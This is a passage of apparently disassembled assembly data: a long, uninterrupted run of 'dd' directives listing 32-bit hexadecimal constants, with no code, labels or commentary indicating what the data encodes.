		dd 0BC745770h, 32D84065h, 0FF0387F7h, 0DC1D4981h, 8084425Ch
		dd 0A588984Ah, 5F319940h, 6E09AE95h, 594DF56Ah,	609F23C0h
		dd 0B7BD120Eh, 0EFDAEE22h, 0DD527196h, 0D2F16AE0h, 0B929D06Fh
		dd 0F3950FB5h, 7EF8D010h, 0B589721Ch, 76A794A4h, 0B925F65Ah
		dd 5F9950C5h, 80749BFCh, 4CA6FA1Ch, 43874817h, 6BC1CB07h
		dd 0BD7709B8h, 335D8FD8h, 0E4B04EC1h, 8DAD7E31h, 0DBD22B16h
		dd 3A4980B6h, 26A4CCBBh, 934B757h, 0CF770141h, 0D6742C57h
		dd 3104FE78h, 0F8629DBCh, 1516EFEh, 133D22D8h, 0C23A3FF8h
		dd 14DF0610h, 0BACD959Bh, 0C287BF44h, 91629F0h,	5EE96273h
		dd 23071AA1h
		dd 5DA19964h, 80A5B32Fh, 8D13E011h, 0AFCCB799h,	0F516F37Ah
		dd 2EBF08E8h, 0C0CDD58Dh, 0A8FCD598h, 8B0F12A1h, 0B4E715h
		dd 3038F183h, 5420A7Ch,	0F9C61DFBh, 5FA3A040h, 7C01EACBh
		dd 6E6A79C3h, 61C05F9Eh, 0B3C6B65Ah, 0C21A7E9Dh, 0B1655h
		dd 0D22EC54Dh, 0E69A9559h, 7DF22DC6h, 501DFF7Ch, 0E15230A0h
		dd 0C09717DBh, 199D2363h, 0CCCE1E4Ah, 294FB822h, 0E2308D89h
		dd 7A4C12ABh, 88A4B24Eh, 5443A7BAh, 0E377ACDCh,	0BA274F71h
		dd 0E5BD8B33h, 7F601FD2h, 542F49B7h, 4342A523h,	0B8F7B77Fh
		dd 0BFCE6A4h, 22481B1Dh, 0E14E80FAh, 25826EFFh,	9B70696Eh
		dd 0AC8E6417h, 9200A791h, 0BDA8DBAAh, 950419FBh, 2C292349h
		dd 52548064h, 0F3864Fh,	9B2C3EB2h, 57E11EF2h, 0D8C8904Bh
		dd 0BD95007Ah, 1850CF4Eh, 3F038CFDh, 2F08F8F6h,	8FAAD528h
		dd 40EE58B2h, 0BF046006h, 6AB0EE6Eh, 0B5616CF0h, 0E1D822DBh
		dd 0E0355B3Fh, 0E641FECDh, 0CEE7827Ah, 0A640BB56h, 0E663103h
		dd 46C19AA2h, 277779A0h, 58009D82h, 0AC68615Bh,	0F0AB40Fh
		dd 753343BBh, 53F7C077h, 2FF9AB0Ch, 7E82D49Bh, 0A22E07E8h
		dd 5D1B358Fh, 0AF0BC18Bh, 5F548DFAh, 7301C813h,	3A6F5B7Eh
		dd 5FD6FC61h, 1B913DB5h, 292A3180h, 0DE02F90Ch,	0D98B17EBh
		dd 8E71E8h, 6479B583h, 0B400E20Bh, 0CF44413Bh, 1523A76h
		dd 2B61E4E5h, 8204319Dh, 0D7BF66AFh, 5538E2E9h,	0E5C0886Fh
		dd 1B31A0Dh, 5FBBFB29h,	717DB9B7h, 46DB28D2h, 3436B02Bh
		dd 0E0F3011Ch, 0E9B50925h, 39E73B03h, 1B63205Ah, 509AB0Bh
		dd 0FD99D95Dh, 2995B746h, 0D0AE73BEh, 8D2789FBh, 0B5086829h
		dd 25FB95A1h, 4E3DFFD8h, 922BF98Bh, 258DC304h, 0C8C28FAFh
		dd 5166C01Ah, 0BF130C27h, 0C9FF5484h, 918D6074h, 0A7DD094Bh
		dd 6F35FED9h, 9BD7162Ah, 58B980D5h, 63ED737h, 0FEB3217Fh
		dd 0D12FD269h, 633F2204h, 0F54442BDh, 0B20A33C1h, 2004A441h
		dd 7A78BB66h, 8BB6964Eh, 145A4FE0h, 25925D02h, 61BD3C6Ah
		dd 5DC2F99Ch, 352633FBh, 302D2108h, 68853976h, 7077F609h
		dd 3064B2h, 2DD88652h, 3A9F5D9Bh, 0DBADB15Bh, 0AE8C0901h
		dd 21BD314Dh, 4E3038AEh, 1CA20AA6h, 8E1130h, 7E618912h
		dd 90358639h, 388D0F11h, 0FB53CC48h, 72424B00h,	0A99ABA10h
		dd 986CED00h, 9654CCCBh, 0A1043A9Ch, 18FF5BA5h,	36EB5Fh
		dd 296570A6h, 9A8C4255h, 0F004690h, 482BEE6Fh, 97B6ADA3h
		dd 9016ACD6h, 98FD34ABh, 0CEB45364h, 10C09D45h,	7D573Ah
		dd 1CDCDDEFh, 22B05C1Bh, 106CA500h, 0A7BB5FD4h,	9B812ADh
		dd 0E0BDF661h, 0F3F0621h, 178F5A80h, 0CDBFAC36h, 8F2FB6B3h
		dd 20E510ABh, 89202CF2h, 0BD332DB5h, 7B6BA7D4h,	853700Dh
		dd 7D362009h, 0DD4F71F9h, 40C5CD25h, 0D79868AEh, 2717D897h
		dd 0AFF671BCh, 0FC162E3Fh, 5F18571h, 14CDF7C2h,	14460FE0h
		dd 2F9604F9h, 0A803B236h, 7FD314A0h, 4E0B1EDh, 9CE82C39h
		dd 9208633Ah, 0E163D3Bh, 0F2CB85EAh, 1309A8FEh,	0FCEC9DEEh
		dd 3FFD4EBBh, 8FB3D2h, 5C86EB81h, 250F11BBh, 95CC2F32h
		dd 6ABFDE4Bh, 0CD984B0Ah, 56CE1285h, 0A253BEFFh, 0AC0435FAh
		dd 220580B6h, 36C528h, 96BDAD08h, 0D1CF358Bh, 53F69801h
		dd 504C45E0h, 0E94F8373h, 4AB38118h, 0C179965Bh, 0C2044BB8h
		dd 0A5F1C40h, 0A02E8AEEh, 1454F67h, 0CAAF6311h,	3FE17E59h
		dd 89030820h, 12A73D30h, 0F734DF07h, 310930C9h,	7B09B38Ch
		dd 8B6C5E9Eh, 0AFE2559Ah, 5BE03ADFh, 0EAF35359h, 0A3E08492h
		dd 134BD18Dh, 243F6EBFh, 0E1C7621Ch, 2EDB2020h,	0D7961611h
		dd 422AEA17h, 0E900D491h, 0D381B6D8h, 8B2F25F0h, 8C10F568h
		dd 6012AAC9h, 46F185A3h, 38EC4539h, 6846DB0Eh, 552202E0h
		dd 22987F0Dh, 6300C381h, 294BAEBEh, 9E02D9B5h, 9224EC4Bh
		dd 337FBD12h, 93458F1h,	8E7E951Dh, 2D68668h, 0B61883C0h
		dd 0ED57AFB4h, 65196415h, 0F1D67FF8h, 6A352E8Bh, 9706A8A0h
		dd 3F63CF6h, 825E1C31h,	29CA60EEh, 141D91E0h, 0E4956DBDh
		dd 0D5B56214h, 0F7DD0CC3h, 0BF6604E3h, 0BAE8BAB4h, 5FCDCB11h
		dd 7734E6Eh, 0EF3FBBEBh, 0ACA18E8Fh, 0AF392B48h, 0FCEDDCC2h
		dd 90C49217h, 0C9C035ACh, 95474C76h, 0F16F781Dh, 0F58A4880h
		dd 566EEE2h, 59E01FBEh,	19128250h, 0D461092Fh, 1746D625h
		dd 329A3D00h, 159529B1h, 0F8120E96h, 598B51F2h,	0C9D849FBh
		dd 4A9B0264h, 885D1A2Fh, 0DF301A77h, 0A1CBA04h,	4000DD96h
		dd 0B3605028h, 202AE782h, 52ECF51Dh, 34A9702h, 0FF169075h
		dd 96E2E64Ch, 80181895h, 0B2054EC3h, 176A85Eh, 0AC741532h
		dd 31BDA3D8h, 97532ECCh, 85E886F9h, 28940A97h, 1D46DCh
		dd 0B94945B7h, 3B99E6D8h, 0BF4B25BBh, 4E59A66Ah, 9C0B6EC0h
		dd 0F4027F6Bh, 0A0BC88BBh, 51C75E01h, 3CA72F50h, 82890CB2h
		dd 2754BF71h, 0BF56D2F6h, 814B1210h, 0E99D2B9Ah, 6CF32B14h
		dd 0D13DBFC0h, 0E90E531Dh, 32FFF1B9h, 47B41BABh, 24A9522Fh
		dd 31C1C142h, 249CE36Dh, 0B0DF25CDh, 0A1830FADh, 923F902Eh
		dd 86C6CD25h, 23AEC1B5h, 3F66Eh, 0D505F32Fh, 3B2C61A7h
		dd 0A838DC64h, 0F5E81A12h, 671C297Ah, 0E9153070h, 5EAB6FEAh
		dd 6AE70BEFh, 70495B00h, 8B977A0Bh, 701B535Fh, 23089ED8h
		dd 131C4D9Dh, 8ED2EB89h, 0B8C86890h, 4C0FEC22h,	0A292878Eh
		dd 0D4820F45h, 8572010Eh, 0DC89CAFh, 384024Ch, 71EF014Fh
		dd 61FF10DDh, 0F2BE00B3h, 0D1E09FA3h, 1460E94Bh, 3236AF1Dh
		dd 0DAAE00D5h, 6B20F3DCh, 91706E13h, 0B745AD00h, 5FB0370Bh
		dd 7D53B56Ah, 48A63978h, 19120101h, 1299F205h, 0DAAF50D7h
		dd 0E7093CBh, 0B679CACFh, 212340A7h, 0E50011EFh, 9D6ACCE1h
		dd 12EBA4F0h, 0F314DC55h, 0F0205AC1h, 25DE782Eh, 0B75FE854h
		dd 0DFEA7B9h, 2595FC4Bh, 5E11C7C5h, 1D11824Bh, 0EF84DF0Bh
		dd 26A0426h, 690904B8h,	0DB4490A1h, 0C0219A00h,	9F494357h
		dd 0B51904BBh, 0FB5F236Ah, 0D3900E82h, 66FE704Dh, 55542104h
		dd 0F0BDF1CFh, 68F68D89h, 0E91630CFh, 0E1BFFC82h, 5FFE303Ah
		dd 0EAE35B6Dh, 0C968167Dh, 0D3A2FD22h, 6D388DAFh, 82F0003Eh
		dd 341FAEC0h, 0F66000B7h, 0AB64196Bh, 314BA8ECh, 0AE7535AAh
		dd 1839C8h, 0D61F80EAh,	46B24BADh, 0FCA8910Eh, 0AF0F30Dh
		dd 89584AD1h, 20406E4Ch, 9F4E8DE6h, 7CAF05E5h, 0FAB6B29Bh
		dd 9D3A05A2h, 0FAF925ADh, 0B1BD0140h, 0CC7C9F27h, 0DC4F0B52h
		dd 3AE3E004h, 5900BB3Dh, 0A54284ADh, 0B5946ECCh, 5495F9h
		dd 250FEFBFh, 0E7B35885h, 8B020404h, 83F86AD8h,	9529BF4Bh
		dd 2202083Ah, 0D791B58Eh, 0A901A07Bh, 0B7E235E4h, 4D623ACCh
		dd 9702C19h, 0B4B01640h, 154D0802h, 0F9BF0F01h,	9F3170E6h
		dd 3DE89CF7h, 39D2D889h, 2F5DF451h, 694210F9h, 0AD9D8909h
		dd 58ECC4F7h, 0CD3DA960h, 0CE99D84Ah, 130CDB02h, 99BA6139h
		dd 6F61FE89h, 413D5630h, 4E172F16h, 971C9981h, 314CF22Bh
		dd 2DF17057h, 31435B02h, 0E499123Fh, 514D9C6Fh,	31C932ECh
		dd 4C44945Fh, 0BD0BB0C7h, 42064FD5h, 29E2DF42h,	0F3401F74h
		dd 0DBF5460h, 79059557h, 0CB01C21Ah, 483A0208h,	0A5A01B27h
		dd 4BE9FA26h, 0E1371849h, 67BC0013h, 9938F16h, 18516D9Dh
		dd 1A242F49h, 7A0044E2h, 1279DBE1h, 0AD00E21Ah,	3BC0955Fh
		dd 9146ACDh, 53E3DF2Dh,	24142CD1h, 2D93DCC4h, 0EF902CA2h
		dd 896F914Eh, 2834995h
		dd 0E57745E9h, 0A95A8464h, 5A9BBEE8h, 425039C1h, 809F6C57h
		dd 1E419516h, 20530036h, 0A2994F8Bh, 93030283h,	97A71BE5h
		dd 0EF6E5E5Bh, 0FC00CB39h, 88185DB5h, 53B2A5B9h, 0FA8B5632h
		dd 75F090Dh, 5419FCD5h,	801ADEE3h, 0FD7098EFh, 2E572B8Dh
		dd 1723E26Ah, 8321EF02h, 0BBE68Bh, 0F5913D68h, 81096447h
		dd 2083338h, 2BAAEABAh,	25F8F6D2h, 35A5C8CDh, 34130F26h
		dd 0E063803Ch, 76B7FF75h, 0DC45BEh, 0C4A54AE9h,	683D291Dh
		dd 0C8212FF7h, 0F63B5AB3h, 90854B4Ch, 80ED9EFFh, 71BDD6AFh
		dd 88E01E60h, 40F5FF6h,	0FA5BDA8Ah, 258019CCh, 0BCE513CBh
		dd 5B5E506Bh, 0A095B714h, 25308A15h, 0A1E5D1BEh, 0E04B6111h
		dd 774B7D03h, 4E573FBFh, 992EC460h, 2FCF12F3h, 606BBF49h
		dd 97001A23h, 0F5D0F9B6h, 23F30B30h, 0A2A2DDBDh, 0C240E1FFh
		dd 9C972679h, 2EAB4598h, 0BADE8C29h, 1F865C0Dh,	36BD6F76h
		dd 23A0D900h, 0CB01D597h, 0AB911A5Ah, 1FDC2B16h, 49060093h
		dd 0F7E0D5E4h, 3AE7FD25h, 5B85E3A8h, 1C6EEB60h,	12ACC600h
		dd 5054464Fh, 1D2B172Ch, 78557889h, 7AB79FC6h, 0C4EE3E00h
		dd 0B555BF66h, 71B7C0F0h, 0F9D68011h, 0F6C979B0h, 31C1120Eh
		dd 7624D38Dh, 0E025B9B9h, 7383DDFh, 20B582CFh, 0FC6A6593h
		dd 12AE7750h, 0E1636089h, 0B063500h, 890F0A74h,	6EBE15E1h
		dd 1923F8h, 0A5D3EA1Dh,	84BD22B3h, 6E9027Ah, 80F2DBD2h
		dd 0C20EBBFCh, 902F3B8Eh, 20C14303h, 518A5061h,	5F9CE279h
		dd 516F9053h, 94772000h, 4C7DE24Ah, 5CBF1412h, 644D0F01h
		dd 0DE7B63F9h, 52BE9339h, 85F2A0h, 5A293D1h, 2449B2Eh
		dd 52E7A109h, 0F17598B0h, 0E60B4B00h, 0E38088D1h, 0B81A7075h
		dd 7BD40045h, 3A2B10C9h, 8B695835h, 1E625483h, 51862865h
		dd 0ED60515Fh, 11E828DFh, 0A2BE0026h, 2CA78A82h, 0EB00C332h
		dd 58D5CC7Ah, 0B9090F23h, 972F8002h, 6BC56701h,	16078600h
		dd 0B7A50F6Fh, 0D75E3BEBh, 61581D0Eh, 0C46EBF57h, 1C955300h
		dd 62483482h, 76BBB417h, 1F58A04h, 9C1EDADh, 341FFD8Dh
		dd 1448E24h, 7B4DBDF5h,	0D8601964h, 3507A43Ah, 9D2907A2h
		dd 6084401Bh, 0BED00081h, 6165E071h, 79CB72E9h,	5BC64157h
		dd 0C86B9A7Ah, 80E7C215h, 0CAF588E2h, 2F0E5EF6h, 0E60594Fh
		dd 4B778867h, 1BCC09ECh, 1BB12D3h, 1991BFFBh, 322F514Eh
		dd 2561F5FAh, 39B2151Ah, 0CEE99200h, 0A121DD32h, 0BE470F00h
		dd 0B723803Eh, 0D4857101h, 62DBB41h, 0C100FBB7h, 2AD3211Fh
		dd 994A4E83h, 1EA46F0Ah, 96042646h, 1561204h, 5FD1DF7Ah
		dd 7A66EA5Bh, 7326D904h, 0B0BC339Ch, 0C0F8DE5Eh, 400CDABEh
		dd 445E1C86h, 0AF5412A2h, 1096C8h, 0E6F87481h, 0FB7C8FB9h
		dd 28688707h, 0BFE09D65h, 0B54A2D15h, 0D71FB6F2h, 0DD258266h
		dd 0A4BF7990h, 7A483A17h, 6EDD2EA9h, 0ABD9128Ch, 0CA04D66Fh
		dd 99331021h, 802138A4h, 689D9265h, 629000A1h, 1DE411ECh
		dd 62E0809h, 0C22D8920h, 95897067h, 9EF4AB7Ch, 2CC4C059h
		dd 0C902BFB9h, 0B3464391h, 2C3CF5E6h, 9D4F496h,	94F673C0h
		dd 477D7300h, 0FC975BBCh, 0BC21644Fh, 1A6D85B1h, 0A52C3BEAh
		dd 820F0C05h, 260BF625h, 80927B11h, 424D3A13h, 0CE007C54h
		dd 0EA88A4EFh, 8809E910h, 0F10F28DEh, 44B408D7h, 8DBCFDB1h
		dd 9A7B3A3h, 0DE745Ch, 1EB6A26Ah, 0CE13CB1Dh, 29465358h
		dd 7F62F75Bh, 7A4F7703h, 5D8C5B40h, 0F3D2029Ah,	14E97DDEh
		dd 2AE11B20h, 0FEDC5EF9h, 789D1640h, 458BD27h, 0FB118D7Bh
		dd 18B7BB1Ah, 411B4FF0h, 0D4EAA417h, 0BE4A4CECh, 4426D869h
		dd 755AE6B0h, 8132613Ah, 49963B13h, 1FCD8531h, 0C84BDB2Bh
		dd 0BD84C018h, 30F719A7h, 154AC7ACh, 0D80ECDECh, 81C050C2h
		dd 35A5D6EFh, 0A4056B4Ah, 70EA5317h, 364ADB3Dh,	563BEC95h
		dd 1BE280F9h, 368EB30h,	8C36E16Fh, 9A12BC2Eh, 1EF33771h
		dd 9ADFFC25h, 3DE27F7Bh, 98EABD56h, 0EF4B1D11h,	7C8C8125h
		dd 1D6300DFh, 3DC193FEh, 573B4B30h, 4CA80124h, 43F36D51h
		dd 0EFDA122Eh, 7380629Eh, 944ADE36h, 0C69A1F25h, 0F78102D5h
		dd 2D74FF29h, 2D9ECCD7h, 855EDFB7h, 89E804F4h, 0EB1C1DBDh
		dd 434AD5B7h, 0BC33F5C7h, 0E1A83CF8h, 1480B913h, 23106BAFh
		dd 0E3E11614h, 79E658AAh, 0B82E2441h, 16BE9244h, 0C828EB1Bh
		dd 4F470496h, 0B8D0F7A5h, 95310CD1h, 915393B1h,	3CDD81F8h
		dd 7A4D70DEh, 5F8913F7h, 114D3877h, 0E270821Bh,	70689495h
		dd 0E4F39549h, 0F8D205D0h, 0AB304C26h, 0A097BC4Bh, 16C87Fh
		dd 2F59DD9Ah, 0F4EF5E33h, 0C6F10900h, 3984D245h, 961825DCh
		dd 0E18F8E40h, 0F94F56ECh, 0BD5B1FACh, 97FAF8B1h, 4D7D4F29h
		dd 4323E747h, 4BB839B5h, 0E82807F8h, 1D4AA231h,	8984ECE2h
		dd 59564908h, 0F05BA581h, 6C5ABF00h, 0D3892C81h, 0F94C565Ah
		dd 8D01A04Fh, 0E2054AA9h, 0F0EDD7CFh, 394EE3A8h, 5CDCC0C8h
		dd 6980A787h, 1F3BBA93h, 0BE18FB00h, 3AAA6B09h,	0F789F9Eh
		dd 5F5B0640h, 313FD3C6h, 0F529B8D4h, 21E7C6AEh,	7CB8E927h
		dd 4E56257Dh, 3D0FEDCh,	75F652A5h, 1D5A0FE9h, 6A354EEAh
		dd 0BAD76380h, 0A404AE77h, 0C18BB2D9h, 3AC91B9Bh, 91D8B55Fh
		dd 89EB9719h, 4B6D5133h, 489E3AA1h, 3AB306C6h, 16E0A18Dh
		dd 3053CF47h, 342AAEBh,	1F4ABD9Dh, 3FD3C490h, 5FCD95E9h
		dd 26D0F4E1h, 4C176CCh,	6DBD8B8Ah, 8BF2EB21h, 3B55202h
		dd 7C78615Bh, 7B8FF30Eh, 9EA9F350h, 774A0BB8h, 5AEFCEB0h
		dd 6AA5B10Fh, 1DFD7FECh, 4AC07ADAh, 0C4C56DFBh,	0BE0D6952h
		dd 4EB042A7h, 11CF851h,	0DFE5399Dh, 42B57B7h, 5F31A7BBh
		dd 1C12CCB5h, 68630860h, 6A1D02F7h, 0B3DE9184h,	1B165D54h
		dd 0E6D3F1ACh, 0F5EBA5AEh, 2A6E2191h, 6A8119D5h, 0F83EC4D2h
		dd 55FDF4D3h, 7D0BA0B8h, 80B9D8B2h, 0DA8ADEC5h,	6F02486Ah
		dd 500F407Dh, 9057F6F7h, 950E6981h, 0D36962F9h,	60AB505Ch
		dd 36CC801Ch, 6199C4C1h, 382E29E9h, 3F41DDA3h, 145DFD8h
		dd 0B3626A1h, 2E2A959Dh, 88088628h, 9801489Ah, 0ADB964B7h
		dd 842C90E4h, 7510D381h, 3A87E0AFh, 0BDB1C905h,	0D0EF20F2h
		dd 4AB8FB54h, 571E0712h, 419BBB12h, 8CE2B380h, 0D312603Ah
		dd 82E6ACFBh, 7DCCF925h, 0E9781498h, 95008282h,	75FB752Fh
		dd 1435372h, 0A82AD6C2h, 954760EFh, 4F1C6132h, 0E9EB82FFh
		dd 5DB5211Fh, 0F2AA051Dh, 2DBE4A0Eh, 0A422AF78h, 0D1ABB0E4h
		dd 3870E6BCh, 0FE78027h, 0FC746AADh, 0DE106623h, 5258471h
		dd 9188792Ah, 8F205A06h, 2ABE9Bh, 3478F440h, 0AA4322EEh
		dd 95BA7E6h, 0C8AE0725h, 0E404D86h, 6BA25F9h, 0F7F31738h
		dd 44EEBE0Bh, 806F0132h, 112EE8CFh, 3F005850h, 36A33BEEh
		dd 2025698Eh, 5059C0C1h, 0C82B2F5Fh, 0CB39718h,	85EC95h
		dd 0FEB9C752h, 0F847F917h, 74B84300h, 300698C1h, 0E99239FAh
		dd 0A0D72D6Bh, 4C5085B0h, 12476455h, 0D6FAC6FAh, 4B848852h
		dd 7841DCECh, 17AD8630h, 0E06145FDh, 0F1BD2037h, 0DDBD84D2h
		dd 8716632Fh, 3B18808h,	1A409822h, 4A4851E9h, 0DE99092Bh
		dd 0F62D6973h, 4E76F233h, 79315F25h, 6C35A51Eh,	0E00CBD61h
		dd 8224EF68h, 802105AFh, 2137BF84h, 0FF8461B9h,	0CB7AEBB8h
		dd 562A1C00h, 0E37C5733h, 5F745E48h, 979D30FCh,	353002F9h
		dd 0CBA26AA7h, 5457F5FAh, 0F7B6D452h, 695055C9h, 0B7E78016h
		dd 480630EBh, 9A008B2Dh
		dd 867350B0h, 477345Fh,	15B993F8h, 1341E410h, 57A7098Ah
		dd 5380B0F3h, 0EF34373Fh, 0A8D24EAh, 9A62A5BFh,	70B1DB75h
		dd 0C47D66FBh, 8F95DC04h, 99CCFC18h, 41120076h,	23A6FBFDh
		dd 5C15C37Dh, 0B8378058h, 9E5AC11Ah, 0FD74CD75h, 0A9CC4139h
		dd 0E39D3A1Ch, 5A95D930h, 5034B62Dh, 2BF59017h,	57261920h
		dd 0D1010059h, 0B3A39FAh, 9D272B68h, 5F46405Dh,	0F51FA1BAh
		dd 60C83D2Eh, 24B74938h, 0F2EB8B05h, 1CC14B33h,	0E67B4639h
		dd 0B015B28Ch, 0C49D5E80h, 0B92245F2h, 8CAAD3AEh, 0BD209DE7h
		dd 8895952Eh, 0F3F78180h, 9E6584A4h, 6B65250Dh,	5B38931Ch
		dd 24356EEEh, 351ADB7Ah, 0D48856ADh, 0F1001C46h, 20A56E9Fh
		dd 0BD287DEDh, 112E8B26h, 18427E1Ah, 0D6955C86h, 8A4F1C46h
		dd 128248F8h, 97E20921h, 1C4EEB5Ah, 2701C423h, 7CE29DB8h
		dd 9C75262Ch, 0D1762D28h, 0DC437CD2h, 19E7AE01h, 6D9F46D8h
		dd 1ED5202Ah, 3E016C0Bh, 3E7C8A6h, 21D8D9C0h, 31F20914h
		dd 737CE047h, 0F7E38160h, 5945E608h, 0CA4A3A5Bh, 5EF93AEBh
		dd 6C00AB7Ah, 9E26FA9Ch, 3F155E83h, 583368h, 7BDA482h
		dd 8C9817h, 65169DC8h, 7C5A27BFh, 5F799412h, 0C2BA2813h
		dd 3C5C6066h, 893F02DCh, 2D6B5A14h, 0BFECA2D5h,	2CC45CF9h
		dd 35590B56h, 3364DF56h, 0D8FA5752h, 2B99812Bh,	0CD046012h
		dd 0F81313A9h, 66CD4A8Dh, 0E1FDC230h, 58409002h, 5B9CAB11h
		dd 5E57A509h, 78B7DE36h, 6F6A5EC4h, 0B065007Fh,	0C02E28B5h
		dd 0BD50E81Ah, 766F18F1h, 550089B2h, 0D56CD88Fh, 18082F78h
		dd 8105E9C2h, 4A351AAh,	2BB23BBEh, 52505309h, 0DD2578F1h
		dd 0EC7741ABh, 0BA5E9F53h, 5E310F42h, 5EFC408Bh, 0FD097A62h
		dd 54145F26h, 8BB839E6h, 279EB058h, 46D6627Eh, 61F1001Ch
		dd 54B67856h, 0A7E0240h, 197D8D89h, 3262EBA9h, 256BCE77h
		dd 0F7837B3h, 0D0E75B97h, 5E250C38h, 0F409C232h, 919AF659h
		dd 0A016B520h, 9726B030h, 15910C35h, 814D4585h,	0DE23CF6Dh
		dd 572D085Ch, 9C2E6C30h, 5C1FFC7Ch, 3A857976h, 0DBC1BC29h
		dd 0DDE1E204h, 81B5F83Fh, 1EB99509h, 0F3815B00h, 0BCECC409h
		dd 932A7162h, 87D4FB29h, 0BD6980AFh, 27871925h,	345086DBh
		dd 887A001Fh, 0EA88390h, 0BB0EBD75h, 7284ED17h,	73D19E1h
		dd 0AD019BB8h, 29BBED7Eh, 0FC3E64B3h, 64968961h, 92DE9560h
		dd 202B5079h, 2F7B02B8h, 30314500h, 0D7E4237Fh,	82320085h
		dd 964F1D7Ah, 0D409EB81h, 8236A124h, 57D2BC30h,	0CE524953h
		dd 9F8C7C40h, 2908F146h, 1B2DBDh, 230CB568h, 0A4BB779h
		dd 0F4A5280h, 6E3FF33Ch, 0A6F60058h, 75608CB0h,	8D9E257Fh
		dd 58FE4AD6h, 7110E003h, 42502702h, 9D12D090h, 0AD014FB7h
		dd 7539DF43h, 4B0D0230h, 2631C914h, 5F8B2D41h, 0CD61FEA4h
		dd 0E8B06F80h, 0BA303846h, 0FEA7FC87h, 133B20F5h, 0BE12833Eh
		dd 99E22742h, 5FF852C2h, 2D518056h, 0F98B2183h,	0F7D41E9h
		dd 53178727h, 0DD398015h, 1F48A7B6h, 868D2E00h,	0BFD3E941h
		dd 14710907h, 0D2045B53h, 0C8E15603h, 0E9F9CE2Ah, 9C86A3Bh
		dd 846EEA86h, 0FBB08494h, 0F6C7957Dh, 815DBB98h, 29487FDBh
		dd 62C85730h, 0A52F03A8h, 62F717D1h, 0EECCBF02h, 0F35675C7h
		dd 0DCB577DAh, 76EE0038h, 4F90840Bh, 7980C4F8h,	0B5F1AC19h
		dd 0AFD7E09Ah, 0F99EEC90h, 259400A8h, 0B9666096h, 0CCB5FD64h
		dd 61F9098Ch, 0D95D9650h, 0FB9D9309h, 0DAABAD85h, 9DD9D298h
		dd 0CC1CA541h, 23F1568Bh, 64E9585Ch, 6679004Ah,	9DF7E8FAh
		dd 0E20AC83Bh, 0B999EA43h, 0F6C174A5h, 8284EF38h, 0A494197Bh
		dd 4CE0FD9Fh, 0DB9F3165h, 9D1D09Ch, 4E1544Ch, 953134B2h
		dd 5AC6F8AAh, 1F47FBAh,	14AFCD3Eh, 0B27FCC10h, 2ED3A8DAh
		dd 40A7F2Bh, 0BE1C4FE7h, 0C3024FE3h, 0D88A56Fh,	0B72D775Ch
		dd 0F4D7003Fh, 7FB5B131h, 3EF50951h, 0BF92A9ECh, 74AB7A34h
		dd 0C0D9DA57h, 70B35397h, 0D60161C8h, 0BFB4ECF7h, 102E0B0Ah
		dd 0CE0B7F31h, 29E4CE56h, 61BDF3EAh, 0CE2FD732h, 20CDC23Eh
		dd 70F8C557h, 82010E1Fh, 398DB3BEh, 609AA3ABh, 0B6D893C9h
		dd 6084CF95h, 7E7F151Fh, 3E80CF2Eh, 0A1B392C0h,	1C7E469h
		dd 76FCDB5Eh, 0C0304CD9h, 0DE9F31D2h, 0B59D0E80h, 0C3772C13h
		dd 1B478716h, 1C919804h, 0F032DDEFh, 0F5A15BDh,	2C8857E3h
		dd 0CCEE89A8h, 0B3546C4h, 6D19500Bh, 0B024D841h, 5D12FA00h
		dd 13C2E4F0h, 0F5019F97h, 0C65B3CD8h, 90556A2h,	1911CCBDh
		dd 0CEB97780h, 0A34B65C2h, 152B868Ch, 330B89BDh, 0D397A992h
		dd 1D095A6Bh, 6771A135h, 0F6095B47h, 0B216F4AFh, 11C4357Fh
		dd 0E6D782ADh, 0DC1EA14Bh, 8A46BD41h, 95218674h, 572E9664h
		dd 203ECD52h, 5B5F2512h, 0D5A071C5h, 0E9895162h, 25715CB7h
		dd 0B570EEDBh, 26032D4Dh, 2906AD5Ch, 0C47F6985h, 0B961D7F4h
		dd 0B8A2D14Ah, 0BF3A0143h, 79663937h, 7824090h,	3EED5081h
		dd 7FECA2h, 56168C9Eh, 93A20957h, 81E68500h, 0AD47FCD3h
		dd 6A5B2573h, 0F2B75Fh,	0A70A2B80h, 60DBBACh, 4A72B5A2h
		dd 0C274EFF0h, 0E94F4DE6h, 72A55B7Fh, 0DD69BD56h, 6B290AE1h
		dd 0EC2A1DA1h, 0B31BFC98h, 0C5DB2552h, 19C04A5h, 0CB01BA13h
		dd 310F5F57h, 0C23C243Bh, 59DD7241h, 0F7F8A5ACh, 4EDC515Ch
		dd 4A5470FEh, 9000DAEAh, 9EA1EEC5h, 2BA49A4h, 7F6A66E9h
		dd 1761A0BDh, 0B8336990h, 9E360533h, 0E06AC853h, 0D54F5907h
		dd 8209C0A0h, 56551A62h, 0DB6A162Dh, 0E296C08Bh, 0BBA55D1h
		dd 0F3213FEDh, 0F48EDCh, 35EDA838h, 91656871h, 9BECD5Ah
		dd 0A9715BA0h, 97A26092h, 0FC823D3Bh, 9CAC985h,	614E0046h
		dd 18AC7EFDh, 53BD048Ch, 0A8EEB391h, 0E8B0438h,	6EBED1FFh
		dd 69F90F13h, 7553C129h, 282E8460h, 28B4A93h, 40D3EB6Eh
		dd 86D8026Ah, 307D24A2h, 255F5B22h, 0B7770489h,	38020433h
		dd 205BBCABh, 2C297606h, 53E61609h, 0AAE98012h,	57847AE3h
		dd 8308174Fh, 21BF0132h, 2F2CA11Fh, 858050DBh, 268E3D5Fh
		dd 0C1D82A02h, 55BF0F94h, 0CAB5416Ch, 2837FF31h, 0A2ADF700h
		dd 9E0B84CFh, 0A95E49EFh, 2CBE1A13h, 0C5585DFEh, 86D94AE2h
		dd 0AC91C47Ah, 7DB95E7Ch, 10BE0E8h, 0FF896E9Ah,	2B564011h
		dd 41C9E39Ch, 26B17B21h, 84B8A739h, 27DC70BFh, 97CF2BF1h
		dd 901BB443h, 635B32h, 0BFD54A79h, 116FC478h, 0BDC23397h
		dd 0D836A020h, 0B079300Ch, 4621550Eh, 70E61C12h, 42E2E730h
		dd 93160563h, 0E871E4B9h, 0BDD74A53h, 0DF4B865Ah, 0F05D5892h
		dd 0DFBF2D3Ah, 0FB2B195Fh, 0B93FA128h, 0EF5BB858h, 46AA2C24h
		dd 66FDBBF7h, 0D5E2F725h, 2FED48B0h, 9E405582h,	1B4241BDh
		dd 0DCCB8003h, 315090E9h, 164EA122h, 50B330FBh,	81268FEh
		dd 0C5BA923Fh, 496B811Ah, 9744C14Eh, 25EB2956h,	9EC3AB62h
		dd 0B10C70EAh, 31A983D5h, 97A3942Ch, 0F4E457D1h, 0F84F8B62h
